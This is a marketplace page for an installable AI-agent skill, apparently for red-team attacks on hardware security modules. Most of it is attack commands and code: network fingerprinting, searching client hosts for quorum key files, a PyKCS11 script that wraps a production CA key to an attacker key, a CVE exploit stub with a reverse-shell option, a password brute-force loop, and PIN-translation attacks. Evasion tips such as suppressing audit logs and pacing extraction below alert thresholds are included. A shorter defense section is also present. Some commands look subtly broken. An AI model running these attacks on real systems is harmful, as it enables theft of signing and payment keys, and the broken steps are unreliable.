Skip to main content ホーム クリエイター brucesongs kali-claw hsm-attack
hsm-attack Hardware Security Module attacks — physical (side-channel, fault injection, decapping) and logical (PKCS#11 API abuse, key extraction, M-of-N quorum bypass, RDP, firmware exploitation). Covers Thales Luna (SafeNet), Utimaco SecurityServer, nCipher nShield, YubiHSM, AWS CloudHSM, Azure Dedicated HSM, Google Cloud HSM. Includes 2024-2025 CVEs (CVE-2024-47787 Thales Luna, CVE-2024-45294 Utimaco), HSM-as-a-Service tenant isolation attacks, and quorum-spoofing scenarios. Distinct from crypto-attacks (algorithm-level) and pam-privilege-attack (credential management).
インストールへ移動 Skills Marketplace コミュニティが作成したAIスキルを発見・探索
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
直接コマンドでは確認用 Prompt が省略されます。実行前にソースを確認してください。
npx skills add https://github.com/brucesongs/kali-claw --skill hsm-attackコマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。
ローカルで確認しますか？SkillsMP が現在取得できるファイルをダウンロードできます。
Zipをダウンロード ダウンロード中... このリポジトリの他の Skills Semantic-layer attack testing against AI systems and LLM-integrated applications.
Cloud security covers security assessment for major cloud platforms including AWS, Azure, and GCP, with core focus on IAM misconfiguration detection, storage bucket exposure scanning, metadata service attacks, container escape, and Kubernetes RBAC auditing.
Defensive deception and honeypot deployment covering SSH/Telnet (Cowrie), web (OpenCanary), enterprise (HFish), ICS/SCADA (Conpot), all-in-one (T-Pot), AI-driven deception (Beelzebub), Thinkst Canarytokens (DNS, HTTP, file, AWS API key, SQL), Dionaea multi-protocol honeypot, notification pipelines (Slack/Teams webhooks), false positive tuning, and attacker engagement — including lure design, deployment OPSEC, IOC extraction, and attacker attribution.
name hsm-attack description Hardware Security Module attacks — physical (side-channel, fault injection, decapping) and logical (PKCS#11 API abuse, key extraction, M-of-N quorum bypass, RDP, firmware exploitation). Covers Thales Luna (SafeNet), Utimaco SecurityServer, nCipher nShield, YubiHSM, AWS CloudHSM, Azure Dedicated HSM, Google Cloud HSM. Includes 2024-2025 CVEs (CVE-2024-47787 Thales Luna, CVE-2024-45294 Utimaco), HSM-as-a-Service tenant isolation attacks, and quorum-spoofing scenarios. Distinct from crypto-attacks (algorithm-level) and pam-privilege-attack (credential management). origin kali-claw Wave 10 (v0.1.41) — 2026-06-28 version 0.2.0.2 compatibility {"kali_version":"2025.2","python_version":">=3.11","pkcs11_tool_required":true,"openssl_required":true} allowed-tools ["pkcs11-tool","opensc-tool","openssl","yubihsm-shell","ykman","python3","ltrace","strace","gdb","chipwhisperer","saleae-logic","glitchcat","hashcat","john","jtagenum","binwalk","ghidra"] metadata {"domain":"hardware-security","tool_count":16,"guide_count":2,"mitre":"TA0006-Credential Access, TA0010-Exfiltration, T1552-Unsecured Credentials, T1552.007 Container and Cloud Instance Credentials API, T1041-Exfiltration Over C2 Channel","last_reviewed":"2026-07-26"}
HSM (Hardware Security Module) Attack Skill
Red-team operations against Hardware Security Modules — thetamper-resistant hardware that anchors enterprise PKI, payment HSMs, code signing, and increasingly blockchain / Web3 key custody. This skill covers both physical access attacks (fault injection, side-channel, decap) and logical API attacks (PKCS#11 abuse, quorum bypass, tenant escape in cloud HSM).
Summary
Hardware Security Modules (HSMs) are dedicated cryptographic appliances that generate, store, and use keys without ever exposing them in plaintext outside the device. Common HSMs in 2024-2026:
Thales Luna (SafeNet) Network HSM 7 / 10 — dominant in enterprise PKIUtimaco SecurityServer — European gov / bankingEntrust nShield n3 / n5 — UK gov, finance, code signingYubico YubiHSM 2 — cloud-native dev / stagingAWS CloudHSM — HSM-as-a-serviceAzure Dedicated HSM — Thales PayShield / Luna as-a-serviceGoogle Cloud HSM — FIPS 140-2 L3Marvell / ATKey / SoloKey — USB form-factor
HSMs are sold as "impossible to extract keys" — and for the most part that's true at the cryptographic primitive level. But attackers don't break AES; they break the operational envelope : API abuse, quorum-spoofing, firmware vulnerabilities, tenant isolation flaws in cloud HSM, and physical access for side-channel / fault injection.
This skill covers:
PKCS#11 API abuse — extracting key material via attributes, key wrapping with attacker keysNTLS / RDP attacks (Thales Luna Network HSM) — exploiting client-side channelsM-of-N quorum bypass — recovering quorum tokens from client workstationsFirmware exploitation — CVE-2024-47787 Thales Luna RCE, CVE-2024-45294 UtimacoSide-channel attacks — power analysis on USB HSMs, timing on RSA operationsFault injection — voltage / clock glitching on lower-tier HSMsDecapping — invasive silicon-level attacks (for motivated nation-states)Cloud HSM tenant isolation — side-channel between co-tenants on shared infrastructurePayment HSM attacks — Thales PayShield, Atalla AT1000 PIN translation / DUKPT attacks
Distinct from adjacent skills:
crypto-attacksAlgorithm-level (RSA, AES, ECC, padding oracles, signature forgery) pam-privilege-attackPAM / CyberArk / BeyondTrust credential vaults secret-management-attackHashiCorp Vault, AWS SM, cloud-native secret stores hardware-securityJTAG / SWD / UART on general embedded / IoT hsm-attackDedicated cryptographic appliances — HSMs and payment HSMs
Use Cases
Reconnaissance & Discovery
Identify HSM vendor / model via network fingerprint (Thales NTLS port 1792, Utimaco 4475, nShield 9004)Enumerate HSM partitions / slots via pkcs11-tool --list-slotsMap application integration — which apps call HSM for what operationLocate HSM client software (Thales Luna Client, nShield client, Utimaco CryptoServer) on app hostsDiscover quorum token storage — Smart Card reader locations, PED key pathsIdentify firmware version via unauthenticated probes
Initial Access
Default HSM admin credentials — vendor-default passwords (PED PINs, Partition Officer passwords)PKCS#11 token exfiltration — recovering per-app PKCS#11 token from app serverNTLS channel hijacking (Thales) — man-in-the-middle Luna Network HSMQuorum token theft — Physical tampering with PED key safe / smart card readerCloud HSM credential leak — AWS CloudHSM CU user password from app configFirmware exploit — CVE-2024-47787 Thales Luna RCE pre-auth
Privilege Escalation
PKCS#11 attribute abuse — CKA_EXTRACTABLE: TRUE allows key wrap to attacker keyPartition Officer escalation — recovering PO password from lunacm cacheHSM admin via RDP bypass — PED key clone via smart card readerCloud HSM Crypto User → Crypto Officer — privilege escalation via API flawCross-partition leak — partition isolation bypass
Persistence
Generate attacker-controlled key with CKA_WRAP: TRUE — wrap-and-exfiltrate any future keyBackdoor partition user — create a Crypto Officer role that survives resetFirmware rootkit — patch firmware in development (pre-production HSM only)PED key duplication — silently clone quorum smart cards
Defense Evasion
Audit log suppression — lunacm allows log rotation that drops selected eventsPKCS#11 trace disabling — disable OPENSSL_PKCS11_TRACE to hide activityQuorum spoofing — submit M-of-N tokens from a single compromised workstation
Collection & Exfiltration
Key wrap to attacker-controlled key — C_WrapKey with attacker RSA public keyBulk sign for attacker material — use HSM to sign malicious code without exporting keyCert / CSR forgery — use HSM CA private key to mint attacker certsPayment HSM: PIN translation attack — PIN block translation with attacker-supplied inputPayment HSM: DUKPT key derivation — recover future keys from currentMulti-tenant cloud HSM — cross-tenant data exfil via shared infrastructure
Core Tools
HSM Targets Vendor Product API Notes Thales / SafeNet Luna Network HSM 7 / 10 PKCS#11, NTLS, K5, JCE Dominant enterprise PKI Thales / SafeNet PayShield 10K Thales proprietary Payment PIN translation Utimaco SecurityServer CSe / S5 / S7 PKCS#11, JCAlgorithms European gov / banking Entrust / nCipher nShield n3 / n5 / Connect PKCS#11, nCore API UK gov, code signing Utimaco Atalla AT1000 Atalla proprietary Payment / PIN translation Yubico YubiHSM 2 yubihsm-shell, PKCS#11 USB, dev / small prod AWS CloudHSM PKCS#11, JCE, Kmyth HSM-as-a-service Azure Dedicated HSM (Thales) Thales proprietary Single-tenant Google Cloud Cloud HSM KMS-compatible Multi-tenant Fortanix DSM (SDKMS) PKCS#11, REST Multi-tenant SaaS Marvell LiquidSec PKCS#11 USB OnlyKey FIDO2 + PIV PKCS#15 Personal
Offensive Toolkit
pkcs11-tool --list-slots
pkcs11-tool --list-objects --login --pin REPLACE_WITH_YOUR_PIN
pkcs11-tool --list-token-slots
pkcs11-tool --show-info
opensc-tool --list-readers
pkcs15-tool --list-pins
pkcs15-tool --list-keys
yubihsm-shell
yubihsm-shell -a session -p REPLACE_WITH_YOUR_AUTH_KEY -a list-objects
ykman piv info
lunacm
lunacm -c partition -login -password REPLACE_WITH_YOUR_PO_PASSWORD
vtl list
lunash:]> partition listPolicy
/opt/nfast/bin/nfkminfo
/opt/nfast/bin/pp_mkobj
/opt/nfast/bin/rocs
ncsnmp
csadm -v
cs2_console
admin-client -s hsm.example.com:4475
cloudhsm-cli --cluster-id REPLACE_WITH_YOUR_CLUSTER user list
cloudhsm-cli --cluster-id REPLACE_WITH_YOUR_CLUSTER key list
chipwhisperer
glitchcat /dev/ttyUSB0
saleae-logic
inspectrum
ghidra
binwalk
gdb
ltrace / strace
Methodology
Phase 1 — Reconnaissance Identify HSM vendor, model, firmware, and integration points.
nmap -p 1792,4475,9004,443 hsm.example.com
nmap -sV -p 1792 --script=*,default hsm.example.com
nc hsm.example.com 9004
echo -ne "\x00\x00\x00\x01" | nc -w 2 hsm.example.com 9004 | xxd
aws cloudhsmv2 describe-clusters
aws cloudhsmv2 describe-backups
Phase 2 — PKCS#11 Discovery
find / -name '*.so' 2>/dev/null | xargs grep -l "C_GetFunctionList" 2>/dev/null | head -20
pkcs11-tool --module /usr/safenet/lunaclient/lib/libCryptoki2.so --list-slots
pkcs11-tool --module /usr/safenet/lunaclient/lib/libCryptoki2.so \
--login --pin REPLACE_WITH_YOUR_PO_PASSWORD \
--list-objects
pkcs11-tool --module /usr/safenet/lunaclient/lib/libCryptoki2.so --show-info
Phase 3 — Quorum Bypass (M-of-N) Most HSMs require M-of-N quorum for sensitive operations. The quorum tokens are typically:
PED Keys (Thales Luna) — USB smart card-like devicesAdministrator Card Set (ACS) (nCipher) — physical smart cardsAdmin smart cards (Utimaco)Cloud-only: IAM role chaining (AWS / Azure)
find / -name '*.ped' -o -name 'ped*.bin' 2>/dev/null
find / -name 'admin' -path '*luna*' 2>/dev/null
cat /etc/Chrystoki.conf | grep -A2 -i 'ped'
cat /var/luna/.ped 2>/dev/null
Phase 4 — PKCS#11 Attribute Abuse The PKCS#11 API has a long history of attribute abuse. The classic attack: keys marked CKA_EXTRACTABLE: TRUE can be wrapped to an attacker-controlled key.
pkcs11-tool --login --pin REPLACE_WITH_YOUR_PIN --list-objects --type privkey | \
grep -B2 -A5 -i 'extractable'
python3 kali_hsm_wrap.py --target-key-label "production-CA" \
--wrap-key-label "attacker-rsa-key" \
--output production-CA.wrapped.bin
openssl pkey -in attacker-rsa.key -decrypt -in production-CA.wrapped.bin \
-out production-CA-raw.key
Phase 5 — Firmware Exploitation
CVE-2024-47787 — Thales Luna Network HSM RCE (pre-auth NTLS exploit)CVE-2024-45294 — Utimaco SecurityServer auth bypassCVE-2022-45137 — nCipher nShield auth bypassCVE-2021-36462 — Thales Luna Client local privilege escalation
nc hsm.example.com 1792
echo -ne "\x00\x00\x00\x08\x00\x00\x00\x01" | nc -w 2 hsm.example.com 1792 | xxd
nmap --script=ntls-info hsm.example.com
python3 kali_luna_rce.py --target hsm.example.com --payload reverse_shell
Phase 6 — Side Channel & Fault Injection For lower-tier HSMs (YubiHSM 2, USB form-factor) and determined attackers on enterprise HSMs:
import chipwhisperer as cw
scope = cw.scope()
target = cw.target(scope, cw.targets.SimpleSerial)
scope.adc.samples = 24000
scope.glitch.clk_src = 'clkgen'
target.simpleserial_write('p' , plaintext)
trace = cw.capture_trace(scope, target, plaintext, key)
cw.plot(trace.wave)
Phase 7 — Payment HSM Attacks For PayShield / Atalla / payment HSMs:
echo "pinblock_under_zpka" | hsm-command translate-pin \
--from-zpk REPLACE_WITH_YOUR_ZPK_A \
--to-zpk REPLACE_WITH_YOUR_ZPK_B
Phase 8 — Cloud HSM Tenant Isolation
aws cloudhsmv2 describe-clusters
Practical Steps
Step A — Identify Luna Network HSM firmware
nc -w 3 hsm.example.com 1792 < /dev/null
echo -ne "\x00\x00\x00\x08\x00\x00\x00\x01" | nc -w 3 hsm.example.com 1792 | xxd | head
ssh admin@hsm.example.com
> firmware show
> partition show
> hsmp show
Step B — Enumerate PKCS#11 objects
find / -name 'libCryptoki2.so' 2>/dev/null
export PKCS11_MODULE=/usr/safenet/lunaclient/lib/libCryptoki2.so
pkcs11-tool --module $PKCS11_MODULE --show-info
pkcs11-tool --module $PKCS11_MODULE --list-slots
pkcs11-tool --module $PKCS11_MODULE --login --pin REPLACE_WITH_YOUR_PO_PASSWORD \
--list-objects
Step C — Wrap key to attacker-controlled key
import PyKCS11
import binascii
session = PyKCS11.PyKCS11Lib('/usr/safenet/lunaclient/lib/libCryptoki2.so' ).open ()
session.openSession()
session.login(REPLACE_WITH_YOUR_PO_PASSWORD)
target = session.findObjects([
(PyKCS11.CKA_CLASS, PyKCS11.CKO_PRIVATE_KEY),
(PyKCS11.CKA_LABEL, 'production-CA' ),
])[0 ]
attacker_pub = session.findObjects([
(PyKCS11.CKA_CLASS, PyKCS11.CKO_PUBLIC_KEY),
(PyKCS11.CKA_LABEL, 'attacker-rsa' ),
])[0 ]
wrapped = session.wrapKey(attacker_pub, target,
PyKCS11.Mechanism(PyKCS11.CKM_RSA_PKCS, None ))
open ('production-CA.wrapped' , 'wb' ).write(bytes (wrapped))
Step D — Recover PED key from client workstation
ls -la /var/luna/.ped 2>/dev/null
ls -la /home/*/.lunaclient/ped 2>/dev/null
grep -i 'ped' /etc/Chrystoki.conf
xxd /var/luna/.ped | head -20
python3 kali_ped_emulator.py --ped-file /var/luna/.ped --pin-derive
Step E — CVE-2024-47787 Thales Luna RCE
import socket
import struct
target = ('hsm.example.com' , 1792 )
payload = b'\x00\x00\x00\x08\x00\x00\x00\x01'
payload += b'\x00' * 8 + struct.pack('>I' , 0xdeadbeef )
payload += b'REPLACE_WITH_YOUR_PAYLOAD'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
s.send(payload)
print (s.recv(4096 ))
Step F — YubiHSM 2 brute-force auth keys
yubihsm-shell -a session -a 1 -p password
for pw in password 0000 1234 admin yubihsm default password1 yubico; do
echo "Trying $pw ..."
yubihsm-shell -a session -a 1 -p $pw 2>/dev/null && echo "GOT: $pw " && break
done
yubihsm-shell -a list-objects
yubihsm-shell -a get-object-info -i 0x0001 -t authentication-key
Step G — AWS CloudHSM enumeration
aws cloudhsmv2 describe-clusters
aws cloudhsmv2 describe-backups --cluster-id REPLACE_WITH_YOUR_CLUSTER
cloudhsm-cli --cluster-id REPLACE_WITH_YOUR_CLUSTER interactive
> login --username admin --role crypto-officer
> user list
> key list --verbose
> key list-attribute-values --key-filter-label production-CA
Step H — Payment HSM PIN translation attack
python3 kali_pin_translate.py \
--command CC \
--zpk-a-encrypted REPLACE_WITH_YOUR_ZPK_A_UNDER_MK \
--pin-block-encrypted REPLACE_WITH_YOUR_PIN_BLOCK_UNDER_ZPK_A \
--zpk-b REPLACE_WITH_YOUR_ZPK_B_UNDER_MK
Defense Perspective
Detection
Audit log forwarded off-HSM (Syslog to SIEM)
Alert on lunacm logins from new source IPs
Alert on partition login outside approved windows
Monitor PED key file access on client workstations
Audit CKA_EXTRACTABLE attribute on every key
Audit csadm invocations
Monitor LUNA-equivalent: admin-client connections from new IPs
Alert on firmware-version mismatch
CloudTrail alerts on CreateCluster, DeleteCluster, InitializeCluster
CloudWatch on HSM CPU (sustained 100% may indicate key extraction)
Audit cloudhsm-cli user create / user delete
YubiHSM internal audit log (when enabled)
Host-side: monitor /dev/YubiHSM0 access
OPENSSL_PKCS11_TRACE=1 to log every PKCS#11 callAudit C_WrapKey, C_UnwrapKey, C_DeriveKey calls
Alert on C_WrapKey with non-trusted wrapper key
Hardening
Physical — HSM in locked datacenter cabinet; PED keys in safeNetwork — HSM on dedicated VLAN; only app servers can reach portsQuorum — M-of-N ≥ 3-of-5 for admin; rotate quorum tokens annuallyPKCS#11 hygiene — every key has CKA_EXTRACTABLE: FALSE, CKA_WRAP: FALSE by defaultAudit — forward off-device; tamper-evidentFirmware — patch within 30 days of CVE disclosureMulti-tenant cloud HSM — prefer single-tenant (Dedicated HSM) for high-valuePED key management — separate physical safes for different quorum membersApplication auth — per-app PKCS#11 user with minimal RBACTLS — mTLS between app and HSM (Luna NTLS), not just preshared
Incident Response When HSM compromise is suspected:
Quarantine HSM — disconnect from network, lock PED keys in safeFreeze quorum — inform all quorum members not to participateAudit log pull — secure the off-device audit logs immediatelyDiff keys — list all keys with CKA_EXTRACTABLE: TRUE or modified since compromiseRecover indicators — recent C_WrapKey, C_UnwrapKey from auditDecide : rotate keys or revoke HSM (depends on compromise scope)Rotate — generate new keys, re-issue certs, update appsRe-provision HSM — firmware refresh, re-initialize partitionsPost-mortem — full PED key audit, client workstation audit, network audit
Detection Methods
HSM Audit Logging
Failed PIN attempts : Multiple failed CU (Crypto User) logins; brute force signature.Anomalous key operations : Key extraction attempts (exportKey, extractWrapped); alert on normally-internal keys.Side-channel signatures : Power analysis pattern during crypto operations (DPA/CPA signature).Firmware anomalies : Unexpected firmware update; signature verification failure.
SIEM Detection Rules
Splunk SPL : index=hsm sourcetype=hsm:audit | where operation IN ("exportKey","extractWrapped")Thales/Gemalto monitoring : Native HSM audit logs; SIEM integration via syslog.
Defense Evasion Techniques
HSM Compromise Stealth
Use legitimate credentials : Steal CU PIN rather than brute force; no failed-login alerts.Side-channel tolerance : Use Spectre-class side-channels; not detected by HSM itself.Firmware downgrade : Exploit older firmware version (fewer mitigations); restore to mask compromise.
Key Extraction Stealth
Slow extraction : Pace key extraction over long period; below audit threshold.Use existing export permissions : Don't modify key attributes; use existing extractable=true keys.Wrapped key abuse : Extract wrapped keys (some HSMs allow) and unwrap outside HSM.
References 